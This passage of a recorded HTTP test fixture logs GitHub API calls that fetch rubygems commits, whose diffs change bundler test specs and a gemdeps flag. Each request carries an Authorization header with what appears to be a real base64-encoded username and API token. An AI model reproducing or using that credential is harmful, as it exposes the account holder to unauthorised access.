{"sha":"f0954b0ede4b8f539e0801341acef0441714b48c","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","patch":"@@ -178,7 +178,7 @@ module Gem\n write_binary_errors\n end.freeze\n \n- USE_BUNDLER_FOR_GEMDEPS = false # :nodoc:\n+ USE_BUNDLER_FOR_GEMDEPS = true # :nodoc:\n \n @@win_platform = nil\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:10 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/c17dfa6519b0e35fe025da0d24408486a8765c5e body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:11 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4416' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"94df530b6f2afbf1f7df494fdebed54c" Last-Modified: - Fri, 15 Sep 2017 00:27:14 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.036254' X-Github-Request-Id: - C5C0:4D96:971B60:13A43A7:5A50E47B body: encoding: ASCII-8BIT string: '{"sha":"c17dfa6519b0e35fe025da0d24408486a8765c5e","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-09-15T00:27:14Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-09-15T00:27:14Z"},"message":"Auto merge of #2011 - rubygems:seg-bundler-spec-default-gem, r=hsbt\n\nAllow the require bundler specs to pass when bundler is installed as a default gem\n\nThis should fix the specs when running against ruby trunk, as the load path that contains bundler no longer ends in `bundler/lib`, as it did when running with `-I bundler/lib` (e.g. its in with the ruby stdlib)","tree":{"sha":"ed43396cca26eeaa0372e82ec848037bbb03cb35","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ed43396cca26eeaa0372e82ec848037bbb03cb35"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/c17dfa6519b0e35fe025da0d24408486a8765c5e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/c17dfa6519b0e35fe025da0d24408486a8765c5e","html_url":"https://github.com/rubygems/rubygems/commit/c17dfa6519b0e35fe025da0d24408486a8765c5e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/c17dfa6519b0e35fe025da0d24408486a8765c5e/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"d74b9a14d7c8930190fe2f0e63c14a5921510164","url":"https://api.github.com/repos/rubygems/rubygems/commits/d74b9a14d7c8930190fe2f0e63c14a5921510164","html_url":"https://github.com/rubygems/rubygems/commit/d74b9a14d7c8930190fe2f0e63c14a5921510164"},{"sha":"7bd3c5ad2928df03ca05888b6cf25b2976b18214","url":"https://api.github.com/repos/rubygems/rubygems/commits/7bd3c5ad2928df03ca05888b6cf25b2976b18214","html_url":"https://github.com/rubygems/rubygems/commit/7bd3c5ad2928df03ca05888b6cf25b2976b18214"}],"stats":{"total":12,"additions":6,"deletions":6},"files":[{"sha":"a846f46833c281c8d9779c0d07f2863273185fa5","filename":"test/rubygems/test_require.rb","status":"modified","additions":6,"deletions":6,"changes":12,"blob_url":"https://github.com/rubygems/rubygems/blob/c17dfa6519b0e35fe025da0d24408486a8765c5e/test/rubygems/test_require.rb","raw_url":"https://github.com/rubygems/rubygems/raw/c17dfa6519b0e35fe025da0d24408486a8765c5e/test/rubygems/test_require.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_require.rb?ref=c17dfa6519b0e35fe025da0d24408486a8765c5e","patch":"@@ -385,20 +385,20 @@ def self.gem(*args)\n \n \n def test_require_bundler\n- $:.reject! {|lp| File.expand_path(lp).end_with?(\"bundler/lib\") }\n b1 = new_spec(''bundler'', ''1'', nil, \"lib/bundler/setup.rb\")\n b2a = new_spec(''bundler'', ''2.a'', nil, \"lib/bundler/setup.rb\")\n install_specs b1, b2a\n \n+ require \"rubygems/bundler_version_finder\"\n+ $:.clear\n assert_require ''bundler/setup''\n assert_equal %w[bundler-2.a], loaded_spec_names\n assert_empty unresolved_names\n end\n \n def test_require_bundler_missing_bundler_version\n- $:.reject! {|lp| File.expand_path(lp).end_with?(\"bundler/lib\") }\n Gem::BundlerVersionFinder.stub(:bundler_version_with_reason, [\"55\", \"reason\"]) do\n- b1 = new_spec(''bundler'', ''1'', nil, \"lib/bundler/setup.rb\")\n+ b1 = new_spec(''bundler'', ''1.999999999'', nil, \"lib/bundler/setup.rb\")\n b2a = new_spec(''bundler'', ''2.a'', nil, \"lib/bundler/setup.rb\")\n install_specs b1, b2a\n \n@@ -410,14 +410,14 @@ def test_require_bundler_missing_bundler_version\n end\n \n def test_require_bundler_with_bundler_version\n- $:.reject! {|lp| File.expand_path(lp).end_with?(\"bundler/lib\") }\n Gem::BundlerVersionFinder.stub(:bundler_version_with_reason, [\"1\", \"reason\"]) do\n- b1 = new_spec(''bundler'', ''1'', nil, \"lib/bundler/setup.rb\")\n+ b1 = new_spec(''bundler'', ''1.999999999'', nil, \"lib/bundler/setup.rb\")\n b2 = new_spec(''bundler'', ''2'', nil, \"lib/bundler/setup.rb\")\n install_specs b1, b2\n \n+ $:.clear\n assert_require ''bundler/setup''\n- assert_equal %w[bundler-1], loaded_spec_names\n+ assert_equal %w[bundler-1.999999999], loaded_spec_names\n end\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:11 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/a5b99c09fe2d877a96ff967b683070ad8f7e4b8a body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:11 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4415' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"b684255765a9aebe1397a909b6d98d37" Last-Modified: - Wed, 13 Sep 2017 22:50:53 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.045400' X-Github-Request-Id: - C5C2:4D94:4F026B:B308C1:5A50E47B body: encoding: ASCII-8BIT string: '{"sha":"a5b99c09fe2d877a96ff967b683070ad8f7e4b8a","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-09-13T22:50:53Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-09-13T22:50:53Z"},"message":"Re-enable using Bundler for gemdeps","tree":{"sha":"cdb6ae8b9b888ed588c1c3d781fb4b7d9a8e9dda","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/cdb6ae8b9b888ed588c1c3d781fb4b7d9a8e9dda"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a5b99c09fe2d877a96ff967b683070ad8f7e4b8a","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZubZNAAoJEAEZW7MV3ahWUyEP/jGOSD58r35N455UNMoo1ACg\nHNEjGQR88LLJb2Boa2VYvra58/W2KESRSHHEuhrEjBfRr/CFWZaQuj7S/gzjkt+g\nJsCfvJ09I/jV2gx3Uiwm3FTgwMyc4oU/bIzEOpfMASJP1sjq/N+rrj3oYGNra1QL\n4/0bVky6HVU/lKBo87VISs24q3GvtGku1x7jefW+mtXwqP+20PXi2rceb2gqL+qH\ng5XODo7R5XL603sJ95wQNnBSiU9s4QGAB4FbmCqFAAjxTPjqzSX5/oy7dMaG71j6\ngk/FNOD25f5EgpVmJGtU7+irHMo/BjhP5AobJMUqrGYRrH43oEYsOYkivVbr4CXy\nebm/Eu0xDG1zkC0l2Z14iCAmJVAPnZOAVMGm85MR5Qg1acUG4fbyjqKkZps4NP1F\nHf3dZyI8VWTerUZAYfhInZbTN+8CvXKhCrDO+/E506RK7zl3wuRsBFqcetX7PS15\nLoukuGienIYcqbFa6OcxkexZpY7odK66KtAD+w9TYqSKli4uooDCDW6I8s8HOeAL\nDfrk4eIhtYsy3L3rpT1v9q9nwoxMnoTdOkHwOpwttr5+NB4Rsld81FPwDiGcR/LE\nHQoUrJZh3onX9pvPPJxqjp6GUAI2iEPGN4O5BeztkSkfg92zRsGBLFk/XWYRFBWE\n8t0FAWCsWCPhaFUHdMeE\n=7oyH\n-----END PGP SIGNATURE-----","payload":"tree cdb6ae8b9b888ed588c1c3d781fb4b7d9a8e9dda\nparent d74b9a14d7c8930190fe2f0e63c14a5921510164\nauthor Samuel Giddins 1505343053 -0500\ncommitter Samuel Giddins 1505343053 -0500\n\nRe-enable using Bundler for gemdeps\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a5b99c09fe2d877a96ff967b683070ad8f7e4b8a","html_url":"https://github.com/rubygems/rubygems/commit/a5b99c09fe2d877a96ff967b683070ad8f7e4b8a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a5b99c09fe2d877a96ff967b683070ad8f7e4b8a/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"d74b9a14d7c8930190fe2f0e63c14a5921510164","url":"https://api.github.com/repos/rubygems/rubygems/commits/d74b9a14d7c8930190fe2f0e63c14a5921510164","html_url":"https://github.com/rubygems/rubygems/commit/d74b9a14d7c8930190fe2f0e63c14a5921510164"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"f0954b0ede4b8f539e0801341acef0441714b48c","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/a5b99c09fe2d877a96ff967b683070ad8f7e4b8a/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5b99c09fe2d877a96ff967b683070ad8f7e4b8a/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=a5b99c09fe2d877a96ff967b683070ad8f7e4b8a","patch":"@@ -178,7 +178,7 @@ module Gem\n write_binary_errors\n end.freeze\n \n- USE_BUNDLER_FOR_GEMDEPS = false # :nodoc:\n+ USE_BUNDLER_FOR_GEMDEPS = true # :nodoc:\n \n @@win_platform = nil\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:11 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/7bd3c5ad2928df03ca05888b6cf25b2976b18214 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:11 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4414' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"78119a2765758c59b2ce9bfb2e7c9ad9" Last-Modified: - Tue, 12 Sep 2017 05:14:31 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.054157' X-Github-Request-Id: - C5C4:4D97:903B8D:1C48370:5A50E47B body: encoding: ASCII-8BIT string: '{"sha":"7bd3c5ad2928df03ca05888b6cf25b2976b18214","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-09-12T05:14:26Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-09-12T05:14:31Z"},"message":"Allow the require bundler specs to pass when bundler is installed as a default gem","tree":{"sha":"ed43396cca26eeaa0372e82ec848037bbb03cb35","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ed43396cca26eeaa0372e82ec848037bbb03cb35"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/7bd3c5ad2928df03ca05888b6cf25b2976b18214","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZt203AAoJEAEZW7MV3ahWNA8QAJLl/9FZ6pPw+FOq4UIxjK1v\nhegXasyfCVWo3WpBZAbo0cBAO0KCi79V1PSZD3iEktxIMdhvlzvxk5Vh3n3WMriN\n4WmRMI7YK8jEjMkPcsd7hNiwSclf+ZFvjP4BiH9yNgXSnM2pDb9G0BDL3ABLQN22\nu7bjZZhMmktK7E+lr5cledYV9PxXgilCGvMFlsYnmu1gm41HKj5nWMcmIh/CH9uR\nXqkffD7GU51xj8RxffsPOHezrPkIMErWArWWFGElTGBti33HEHmTnS4QJwvB2L6M\nCtTvOtFw9Yb5cvqVERk8xQU4HahkjKNcTBQvWMGPRnw3adv2SlK1KLAPCUXmvAoc\ndw3efem5iyDKLJRr7WB8qDED78B0BtKPeQ384dj0SnsdNCO8Ffos3I9jWfbjPIdz\n6WVxr3AzghFsDDbI6lWT+4M/PpcamBM+Li9rKlV1uc1Xfqsz4vUkA+WrZDpGGxyD\neKFiuCQsdTiHbJ6rpl4S0QuLJWb8bxBD6uIy6vFBqGZJcGNRC78Xpspt1Iswsl2D\nZeqU6sPq0aaMUnlYmOwR3coYz4Gfj4+DKci3v1EvYjv+B3anReY1YxYcZMTsG21m\nIBR2VrN5i7uCfrmYynB9zyTK6Iu5HmWcSxseGd12viNGh57LZilL4SJHYI2uUH+M\noM/5L7m/VfZlZg+9tnic\n=C0iW\n-----END PGP SIGNATURE-----","payload":"tree ed43396cca26eeaa0372e82ec848037bbb03cb35\nparent d74b9a14d7c8930190fe2f0e63c14a5921510164\nauthor Samuel Giddins 1505193266 -0700\ncommitter Samuel Giddins 1505193271 -0700\n\nAllow the require bundler specs to pass when bundler is installed as a default gem\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/7bd3c5ad2928df03ca05888b6cf25b2976b18214","html_url":"https://github.com/rubygems/rubygems/commit/7bd3c5ad2928df03ca05888b6cf25b2976b18214","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/7bd3c5ad2928df03ca05888b6cf25b2976b18214/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"d74b9a14d7c8930190fe2f0e63c14a5921510164","url":"https://api.github.com/repos/rubygems/rubygems/commits/d74b9a14d7c8930190fe2f0e63c14a5921510164","html_url":"https://github.com/rubygems/rubygems/commit/d74b9a14d7c8930190fe2f0e63c14a5921510164"}],"stats":{"total":12,"additions":6,"deletions":6},"files":[{"sha":"a846f46833c281c8d9779c0d07f2863273185fa5","filename":"test/rubygems/test_require.rb","status":"modified","additions":6,"deletions":6,"changes":12,"blob_url":"https://github.com/rubygems/rubygems/blob/7bd3c5ad2928df03ca05888b6cf25b2976b18214/test/rubygems/test_require.rb","raw_url":"https://github.com/rubygems/rubygems/raw/7bd3c5ad2928df03ca05888b6cf25b2976b18214/test/rubygems/test_require.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_require.rb?ref=7bd3c5ad2928df03ca05888b6cf25b2976b18214","patch":"@@ -385,20 +385,20 @@ def self.gem(*args)\n \n \n def test_require_bundler\n- $:.reject! {|lp| File.expand_path(lp).end_with?(\"bundler/lib\") }\n b1 = new_spec(''bundler'', ''1'', nil, \"lib/bundler/setup.rb\")\n b2a = new_spec(''bundler'', ''2.a'', nil, \"lib/bundler/setup.rb\")\n install_specs b1, b2a\n \n+ require \"rubygems/bundler_version_finder\"\n+ $:.clear\n assert_require ''bundler/setup''\n assert_equal %w[bundler-2.a], loaded_spec_names\n assert_empty unresolved_names\n end\n \n def test_require_bundler_missing_bundler_version\n- $:.reject! {|lp| File.expand_path(lp).end_with?(\"bundler/lib\") }\n Gem::BundlerVersionFinder.stub(:bundler_version_with_reason, [\"55\", \"reason\"]) do\n- b1 = new_spec(''bundler'', ''1'', nil, \"lib/bundler/setup.rb\")\n+ b1 = new_spec(''bundler'', ''1.999999999'', nil, \"lib/bundler/setup.rb\")\n b2a = new_spec(''bundler'', ''2.a'', nil, \"lib/bundler/setup.rb\")\n install_specs b1, b2a\n \n@@ -410,14 +410,14 @@ def test_require_bundler_missing_bundler_version\n end\n \n def test_require_bundler_with_bundler_version\n- $:.reject! {|lp| File.expand_path(lp).end_with?(\"bundler/lib\") }\n Gem::BundlerVersionFinder.stub(:bundler_version_with_reason, [\"1\", \"reason\"]) do\n- b1 = new_spec(''bundler'', ''1'', nil, \"lib/bundler/setup.rb\")\n+ b1 = new_spec(''bundler'', ''1.999999999'', nil, \"lib/bundler/setup.rb\")\n b2 = new_spec(''bundler'', ''2'', nil, \"lib/bundler/setup.rb\")\n install_specs b1, b2\n \n+ $:.clear\n assert_require ''bundler/setup''\n- assert_equal %w[bundler-1], loaded_spec_names\n+ assert_equal %w[bundler-1.999999999], loaded_spec_names\n end\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:11 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/d74b9a14d7c8930190fe2f0e63c14a5921510164 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:11 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4413' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"bf377b343c21c69ce66c934a23a8c145" Last-Modified: - Mon, 11 Sep 2017 18:30:12 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.033818' X-Github-Request-Id: - A2F6:4D95:F4861B:1C8472B:5A50E47B body: encoding: ASCII-8BIT string: '{"sha":"d74b9a14d7c8930190fe2f0e63c14a5921510164","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-09-11T18:30:12Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-09-11T18:30:12Z"},"message":"Auto merge of #2006 - rubygems:seg-require-digest, r=segiddins\n\nRequire digest when it is used\n\nThis avoids a potential issue where Gem.activate_bin_path could deadlock, since we''d attempt to activate the digest gem in the middle of activating other gems\n\nThis fixes 8 of the ten issues surfaced at https://travis-ci.org/bundler/bundler/jobs/271910850#L3531","tree":{"sha":"ace94cedcd7fab0b779dda4891ba1aa8bc1cf9bf","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ace94cedcd7fab0b779dda4891ba1aa8bc1cf9bf"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d74b9a14d7c8930190fe2f0e63c14a5921510164","comment_count":1,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d74b9a14d7c8930190fe2f0e63c14a5921510164","html_url":"https://github.com/rubygems/rubygems/commit/d74b9a14d7c8930190fe2f0e63c14a5921510164","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d74b9a14d7c8930190fe2f0e63c14a5921510164/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"f89b5b5744c2136d41ffc6cb00d2c299ac32a284","url":"https://api.github.com/repos/rubygems/rubygems/commits/f89b5b5744c2136d41ffc6cb00d2c299ac32a284","html_url":"https://github.com/rubygems/rubygems/commit/f89b5b5744c2136d41ffc6cb00d2c299ac32a284"},{"sha":"7b6771997313ce7db40ea761fb929b129a291e7e","url":"https://api.github.com/repos/rubygems/rubygems/commits/7b6771997313ce7db40ea761fb929b129a291e7e","html_url":"https://github.com/rubygems/rubygems/commit/7b6771997313ce7db40ea761fb929b129a291e7e"}],"stats":{"